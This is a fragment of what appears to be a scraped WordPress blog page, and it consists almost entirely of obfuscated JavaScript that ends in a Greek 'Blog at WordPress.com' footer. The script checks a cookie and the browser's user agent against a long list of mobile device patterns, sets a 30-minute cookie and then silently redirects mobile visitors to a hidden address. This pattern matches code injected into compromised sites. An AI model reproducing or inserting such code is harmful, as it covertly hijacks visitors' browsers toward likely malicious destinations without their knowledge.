;if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Blog στο WordPress.com.